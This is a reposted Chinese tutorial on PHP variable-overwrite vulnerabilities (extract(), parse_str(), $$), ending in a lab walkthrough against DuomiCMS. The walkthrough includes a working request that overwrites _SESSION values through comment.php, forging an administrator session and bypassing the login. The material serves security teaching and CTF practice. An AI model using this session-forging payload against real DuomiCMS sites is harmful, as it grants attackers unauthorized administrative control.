IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> 变量覆盖漏洞详解 -> 正文阅读

[PHP知识库]变量覆盖漏洞详解

什么是变量覆盖

变量覆盖指的是可以用我们的传参值替换程序原有的变量值,自身危害由代码本身来决定。

如何寻找变量覆盖

经常导致变量覆盖漏洞场景有:$$使用不当,extract()函数使用不当,parse_str()函数使用不当,import_request_variables()使用不当,开启了全局变量注册等。

函数解析

传参当做变量,开发起来更加的方便快捷,二次开发会有很大的帮助。

extract()函数

作用: 把数组变成变量。

<?php
$a = "1";
$my_array = array("a" => "Cat","b" => "Dog", "c" => "Horse");
extract($my_array);
echo "\$a = $a; \$b = $b; \$c = $c";
?>
 
运行结果:$a = Cat; $b = Dog; $c = Horse

典型CTF:
在这里插入图片描述

parse_str() 函数

作用: 把字符串变成变量

<?php
	parse_str("name=gyy&&age=60");   // test=123&gift=123
	echo $name."<br>";
	echo $age;
	?>

输出了gyy和60 

$$特殊符号

  1. 不仅仅是函数会导致变量覆盖,有些特殊符号的特殊搭配也会引起变量覆盖漏洞,比如$$

  2. $$ 导致的变量覆盖问题在CTF代码审计题目中经常在foreach中出现,如以下的示例代码,使用foreach来遍历数组中的值,然后再将获取到的数组键名作为变量,数组中的值作为变量的值,因此就产生了变量覆盖漏洞。请求?name=test 会将$name的值覆盖,变为test

【实现传参作为变量】:

<?php
$a = 1;
foreach(array('_COOKIE','_POST','_GET') as $_request) {       // $_request只是一个普通的变量名
foreach($$_request as $_key=>$_value) 
{$$_key=addslashes($_value);}}
echo $a;
?>

这个代码会接受我们的GET提交、POST提交、COOKIE参数,将这个接受来的参数依次放入$_request$$_request是两次变量赋值操作,$_key=>$_value 这是个数组解析,实际上就是键值分离。key指传参名,value指传参值。正常而言$a = 1是一个定值,但是因为$$_key的缘故,当我传参a=2;那么$$_key=addslashes($_value)addslashes函数在这里可以理解为把传参作为变量】;就变为了$a = 2

练习

在这里插入图片描述

  1. 本次练习用到Duomicms,我们首先使用代码审计工具在源码中搜索危险函数extract(),发现没有任何用处。
    在这里插入图片描述
  2. parse_str()函数源码中没有出现。
    在这里插入图片描述
  3. 继续尝试特殊符号$$
    在这里插入图片描述
  4. 因为我们没有后台权限,所以在代码审计过程中,admin目录下的文件可以忽略不看,一般common..func.【定义函数,函数库】 、.class..inc. 这些文件都比较有用。
  5. 我们找到一个可用的函数点。
    在这里插入图片描述
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
	foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}
  1. 我们在本次搭建好CMS后,抓取后台登录的数据包
    在这里插入图片描述
  2. 我们找到后台登录相关的源码login.php,这个页面似乎还调用了check.admin.php,或者发现了keepuser()这个函数,选中函数,右键定位函数也可找到check.admin.php文件。通过看check.admin.php这个文件的备注,就能知道这个文件是控制session的,可以控制权限、id、用户名,那么我们是不是可以通过common.php进行一个伪造session呢?

在这里插入图片描述
在这里插入图片描述
8. 为了得到session,修改login.php,使其登录成功后输出session

die(var_dump($_SESSION));

在这里插入图片描述
在这里插入图片描述

array(5) { ["duomi_ckstr"]=> string(4) "rmcf" ["duomi_ckstr_last"]=> 
string(0) "" ["duomi_admin_id"]=> string(1) "1" ["duomi_group_id"]=> 
string(1) "1" ["duomi_admin_name"]=> string(5) "admin" } 
  1. 接下来的核心是设置SESSIONSESSION修改前需要先开启,即session_start()函数。找到含有这个函数的文件对它进行传参。
    在这里插入图片描述
http://blfg95a.zs.aqlab.cn/duomicms/upload/interface/comment.php?
_SESSION[duomi_ckstr]=rmcf&_SESSION[duomi_ckstr_last]=
&_SESSION[duomi_admin_id]=1&_SESSION[duomi_group_id]=1&_SESSION[duomi_admin_name]=admin

先进行强行修改SESSION,我们再访问后台http://blfg95a.zs.aqlab.cn/admin/,不需要输入账号密码,直接管理员登录成功。

在这里插入图片描述
11. 进入后台,在公众号页面即可得到flag
在这里插入图片描述

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章           查看所有文章
加:2022-03-12 17:13:32  更:2022-03-12 17:14:16 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年12日历 -2024/12/26 16:44:38-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码
数据统计